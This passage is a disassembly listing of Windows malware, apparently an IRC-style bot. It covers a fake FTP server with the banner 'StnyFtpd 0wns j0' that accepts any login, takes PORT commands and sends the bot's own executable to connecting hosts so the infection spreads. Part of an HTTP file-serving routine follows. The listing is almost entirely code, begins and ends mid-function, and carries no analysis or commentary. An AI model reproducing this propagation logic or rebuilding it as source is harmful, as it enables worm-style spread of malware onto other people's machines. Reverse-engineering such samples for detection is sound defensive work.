		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_23C], esi
		mov	[ebp+var_43C], esi
		call	dword_4241DC	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_424208	; socket
		mov	esi, dword_4241FC
		lea	ecx, [ebp+var_1C]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_2C]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_24]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4241E0	; ioctlsocket
		mov	ax, word ptr dword_4CDC38
		and	[ebp+var_48], 0
		push	eax
		mov	[ebp+var_4C], 2
		call	dword_4CDEE4	; htons
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	edi
		call	dword_4241E4	; bind
		test	eax, eax
		jge	short loc_40DFFE
		mov	eax, ebx
		jmp	loc_40E549
; ---------------------------------------------------------------------------


loc_40DFFE:				; CODE XREF: sub_40DF38+BDj
		push	0Ah
		push	edi
		call	dword_4241E8	; listen
		mov	[ebp+var_23C], ebx
		mov	ebx, dword_42420C
		mov	[ebp+var_238], edi
		mov	[ebp+var_4], edi


loc_40E01C:				; CODE XREF: sub_40DF38+11Bj
					; sub_40DF38+609j
		push	41h
		lea	esi, [ebp+var_23C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_43C]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_424210	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E546
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_40E01C


loc_40E055:				; CODE XREF: sub_40DF38+603j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_4182F0
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_4233D6	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40E534
		cmp	edi, [ebp+var_8]
		jnz	short loc_40E0FE
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_4241EC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E534
		mov	edx, [ebp+var_23C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40E0D0


loc_40E0C2:				; CODE XREF: sub_40DF38+196j
		cmp	[ebp+ecx*4+var_238], eax
		jz	short loc_40E0D0
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40E0C2


loc_40E0D0:				; CODE XREF: sub_40DF38+188j
					; sub_40DF38+191j
		cmp	ecx, edx
		jnz	short loc_40E0E6
		cmp	edx, 40h
		jnb	short loc_40E0E6
		mov	[ebp+ecx*4+var_238], eax
		inc	[ebp+var_23C]


loc_40E0E6:				; CODE XREF: sub_40DF38+19Aj
					; sub_40DF38+19Fj
		cmp	eax, [ebp+var_4]
		jle	short loc_40E0EE
		mov	[ebp+var_4], eax


loc_40E0EE:				; CODE XREF: sub_40DF38+1B1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40E534
; ---------------------------------------------------------------------------


loc_40E0FE:				; CODE XREF: sub_40DF38+158j
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_424200	; recv
		test	eax, eax
		jg	short loc_40E15B
		mov	ecx, [ebp+var_23C]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_40E14F


loc_40E11F:				; CODE XREF: sub_40DF38+1F3j
		cmp	[ebp+eax*4+var_238], edi
		jz	short loc_40E144
		inc	eax
		cmp	eax, ecx
		jb	short loc_40E11F
		jmp	short loc_40E14F
; ---------------------------------------------------------------------------


loc_40E12F:				; CODE XREF: sub_40DF38+20Fj
		mov	ecx, [ebp+eax*4+var_234]
		mov	[ebp+eax*4+var_238], ecx
		mov	ecx, [ebp+var_23C]
		inc	eax


loc_40E144:				; CODE XREF: sub_40DF38+1EEj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40E12F
		dec	[ebp+var_23C]


loc_40E14F:				; CODE XREF: sub_40DF38+1E5j
					; sub_40DF38+1F5j
		push	edi
		call	dword_424204	; closesocket
		jmp	loc_40E534
; ---------------------------------------------------------------------------


loc_40E15B:				; CODE XREF: sub_40DF38+1D9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_4193A5
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_418DD0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40E19F
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40E51F
; ---------------------------------------------------------------------------


loc_40E19F:				; CODE XREF: sub_40DF38+258j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E1C3
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_40E51F
; ---------------------------------------------------------------------------


loc_40E1C3:				; CODE XREF: sub_40DF38+27Cj
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E1E7
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_40E51F
; ---------------------------------------------------------------------------


loc_40E1E7:				; CODE XREF: sub_40DF38+2A0j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E20B
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_40E51F
; ---------------------------------------------------------------------------


loc_40E20B:				; CODE XREF: sub_40DF38+2C4j
		lea	eax, [ebp+var_B0]
		push	offset off_4381C0
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E22F
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_40E51F
; ---------------------------------------------------------------------------


loc_40E22F:				; CODE XREF: sub_40DF38+2E8j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E26A
		lea	eax, [ebp+var_338]
		push	offset aA	; "A"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E26A
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40E51F
; ---------------------------------------------------------------------------


loc_40E26A:				; CODE XREF: sub_40DF38+30Cj
					; sub_40DF38+323j
		lea	eax, [ebp+var_B0]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E2A5
		lea	eax, [ebp+var_338]
		push	offset aI	; "I"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E2A5
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40E51F
; ---------------------------------------------------------------------------


loc_40E2A5:				; CODE XREF: sub_40DF38+347j
					; sub_40DF38+35Ej
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E2F3
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40E2E3:				; CODE XREF: sub_40DF38+3FAj
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		jmp	loc_40E522
; ---------------------------------------------------------------------------


loc_40E2F3:				; CODE XREF: sub_40DF38+382j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E334
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40E2E3
; ---------------------------------------------------------------------------


loc_40E334:				; CODE XREF: sub_40DF38+3D0j
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E405
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_4193A5
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_4184D9
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_4184D9
		mov	[ebp+arg_0], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_4182F0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_FC]
		push	[ebp+var_C]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4185E6
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_418B25
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4185E6
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_40E51F
; ---------------------------------------------------------------------------


loc_40E405:				; CODE XREF: sub_40DF38+411j
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E500
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40E550
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40E4F6
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40E485
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_408BC1
		add	esp, 14h


loc_40E485:				; CODE XREF: sub_40DF38+528j
		call	sub_40E5CD
		cmp	eax, 1
		jnz	loc_40E522
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40E4E1
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_408BC1
		add	esp, 14h


loc_40E4E1:				; CODE XREF: sub_40DF38+584j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_413F3A
		inc	dword_4D09DC
		pop	ecx
		jmp	short loc_40E522
; ---------------------------------------------------------------------------


loc_40E4F6:				; CODE XREF: sub_40DF38+504j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40E51F
; ---------------------------------------------------------------------------


loc_40E500:				; CODE XREF: sub_40DF38+4E2j
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E522
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40E51F:				; CODE XREF: sub_40DF38+262j
					; sub_40DF38+286j ...
		push	edi
		call	ebx	; send


loc_40E522:				; CODE XREF: sub_40DF38+3B6j
					; sub_40DF38+555j ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch


loc_40E534:				; CODE XREF: sub_40DF38+14Fj
					; sub_40DF38+178j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40E055
		jmp	loc_40E01C
; ---------------------------------------------------------------------------


loc_40E546:				; CODE XREF: sub_40DF38+10Fj
		xor	eax, eax
		inc	eax


loc_40E549:				; CODE XREF: sub_40DF38+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40DF38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E550	proc near		; CODE XREF: sub_40DF38+4FAp

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4241DC	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_424208	; socket
		push	[ebp+arg_0]
		mov	dword_4D0C10, eax
		mov	[ebp+var_10], 2
		call	dword_42421C	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4241F4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4D0C10
		call	dword_4241F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E5C8
		push	dword_4D0C10
		call	dword_424204	; closesocket
		call	dword_4241D8	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E5C8:				; CODE XREF: sub_40E550+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40E550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E5CD	proc near		; CODE XREF: sub_40DF38:loc_40E485p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_424070	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_426068
		push	eax
		call	sub_418222
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40E664
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40E648
		push	edi
		mov	edi, 400h


loc_40E610:				; CODE XREF: sub_40E5CD+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417E7A
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4D0C10
		call	dword_42420C	; send
		push	1
		call	dword_424078	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40E610
		pop	edi


loc_40E648:				; CODE XREF: sub_40E5CD+3Bj
		push	esi
		call	sub_417DBB
		pop	ecx
		push	dword_4D0C10
		call	dword_424204	; closesocket
		call	dword_4241D8	; WSACleanup
		xor	eax, eax
		inc	eax


loc_40E664:				; CODE XREF: sub_40E5CD+35j
		pop	esi
		leave
		retn
sub_40E5CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E667	proc near		; DATA XREF: sub_401AA1+1D77o
					; sub_40AAE8+46Co

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_418880
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		xor	ebx, ebx
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	ebx
		mov	[eax+3ACh], esi
		lea	eax, [ebp+var_24]
		push	eax
		mov	[ebp+var_14], esi
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CDEE4	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CDF60	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_40EA2D
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_440E44[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CDF10	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EA2D
		push	7FFFFFFFh
		push	edi
		call	dword_4CDF0C	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EA2D
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CDF7C	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EA2D
		mov	ebx, esi
		mov	[ebp+var_124], edi
		mov	[ebp+var_128], ebx
		mov	[ebp+var_4], edi


loc_40E73E:				; CODE XREF: sub_40E667+3BCj
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_128]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CDECC	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EA28
		xor	edi, edi
		mov	[ebp+arg_0], edi


loc_40E774:				; CODE XREF: sub_40E667+3B6j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	edi
		call	dword_4CDDE0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40EA13
		cmp	edi, [ebp+var_8]
		jnz	short loc_40E7F5
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_4CDF74	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EA13
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40E7C7


loc_40E7B9:				; CODE XREF: sub_40E667+15Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_40E7C7
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_40E7B9


loc_40E7C7:				; CODE XREF: sub_40E667+150j
					; sub_40E667+159j
		cmp	ecx, ebx
		jnz	short loc_40E7E4
		cmp	ebx, 40h
		jnb	short loc_40E7E4
		mov	[ebp+ecx*4+var_124], eax
		mov	ebx, [ebp+var_128]
		inc	ebx
		mov	[ebp+var_128], ebx


loc_40E7E4:				; CODE XREF: sub_40E667+162j
					; sub_40E667+167j
		cmp	eax, [ebp+var_4]
		jbe	loc_40EA13
		mov	[ebp+var_4], eax
		jmp	loc_40EA13
; ---------------------------------------------------------------------------


loc_40E7F5:				; CODE XREF: sub_40E667+126j
		mov	esi, 1000h
		lea	eax, [ebp+var_28F0]
		push	esi
		push	0
		push	eax
		call	sub_4182F0
		push	esi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	esi
		push	eax
		push	edi
		call	dword_4CDEFC	; recv
		test	eax, eax
		jg	short loc_40E87C
		push	edi
		call	dword_4CDF78	; closesocket
		xor	eax, eax
		test	ebx, ebx
		jbe	loc_40EA13


loc_40E841:				; CODE XREF: sub_40E667+1E6j
		cmp	[ebp+eax*4+var_124], edi
		jz	short loc_40E869
		inc	eax
		cmp	eax, ebx
		jb	short loc_40E841
		jmp	loc_40EA13
; ---------------------------------------------------------------------------


loc_40E854:				; CODE XREF: sub_40E667+207j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_40E869:				; CODE XREF: sub_40E667+1E1j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40E854
		dec	ebx
		mov	[ebp+var_128], ebx
		jmp	loc_40EA13
; ---------------------------------------------------------------------------


loc_40E87C:				; CODE XREF: sub_40E667+1C7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_4182F0
		lea	eax, [ebp+var_28F0]
		xor	edi, edi
		push	eax
		call	sub_417D40
		add	esp, 10h
		test	eax, eax
		jbe	loc_40EA13


loc_40E8A9:				; CODE XREF: sub_40E667+2F9j
		mov	al, [ebp+edi+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40E94F
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E91F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417D40
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40E91F
		mov	eax, offset asc_42FF7C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_418660
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418660
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418E54
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_418C10
		add	esp, 10h
		jmp	short loc_40E936
; ---------------------------------------------------------------------------


loc_40E91F:				; CODE XREF: sub_40E667+26Ej
					; sub_40E667+280j
		lea	eax, [ebp+var_18F0]
		push	offset asc_438278 ; "\r\n"
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E96B


loc_40E936:				; CODE XREF: sub_40E667+2B6j
		push	1000h
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40E94F:				; CODE XREF: sub_40E667+252j
		lea	eax, [ebp+var_28F0]
		inc	edi
		push	eax
		inc	esi
		call	sub_417D40
		cmp	edi, eax
		pop	ecx
		jb	loc_40E8A9
		jmp	loc_40EA13
; ---------------------------------------------------------------------------


loc_40E96B:				; CODE XREF: sub_40E667+2CDj
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_40E9A7


loc_40E971:				; CODE XREF: sub_40E667+319j
		mov	ecx, [ebp+eax*4+var_124]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_40E999
		inc	eax
		cmp	eax, ebx
		jb	short loc_40E971
		jmp	short loc_40E9A7
; ---------------------------------------------------------------------------


loc_40E984:				; CODE XREF: sub_40E667+337j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_40E999:				; CODE XREF: sub_40E667+314j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_40E984
		dec	ebx
		mov	[ebp+var_128], ebx


loc_40E9A7:				; CODE XREF: sub_40E667+308j
					; sub_40E667+31Bj
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417D40
		mov	esi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417D40
		add	esi, eax
		pop	ecx
		cmp	esi, 104h
		pop	ecx
		jnb	short loc_40EA0A
		and	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_4CDF7C	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_0]
		call	sub_40EC19
		add	esp, 14h
		jmp	short loc_40EA13
; ---------------------------------------------------------------------------


loc_40EA0A:				; CODE XREF: sub_40E667+364j
		push	[ebp+arg_0]
		call	dword_4CDF78	; closesocket


loc_40EA13:				; CODE XREF: sub_40E667+11Dj
					; sub_40E667+146j ...
		mov	edi, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jbe	loc_40E774
		jmp	loc_40E73E
; ---------------------------------------------------------------------------


loc_40EA28:				; CODE XREF: sub_40E667+102j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx


loc_40EA2D:				; CODE XREF: sub_40E667+6Aj
					; sub_40E667+92j ...
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_438250
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40EA73
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_408BC1
		add	esp, 14h


loc_40EA73:				; CODE XREF: sub_40E667+3E7j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_413F3A
		pop	ecx
		push	edi
		call	dword_4CDF78	; closesocket
		push	[ebp+var_254]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40E667	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA9D	proc near		; DATA XREF: sub_40EC19+245o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_418880
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4185E6
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		lea	eax, [ebp+var_9C]
		jz	short loc_40EB08
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40EB0D
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_40EA9D+62j
		push	offset aApplicationOct ; "application/octet-stream"


loc_40EB0D:				; CODE XREF: sub_40EA9D+69j
		push	eax
		call	sub_4185E6
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_424108	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_424104	; GetTimeFormatA
		lea	eax, [ebp+var_20]
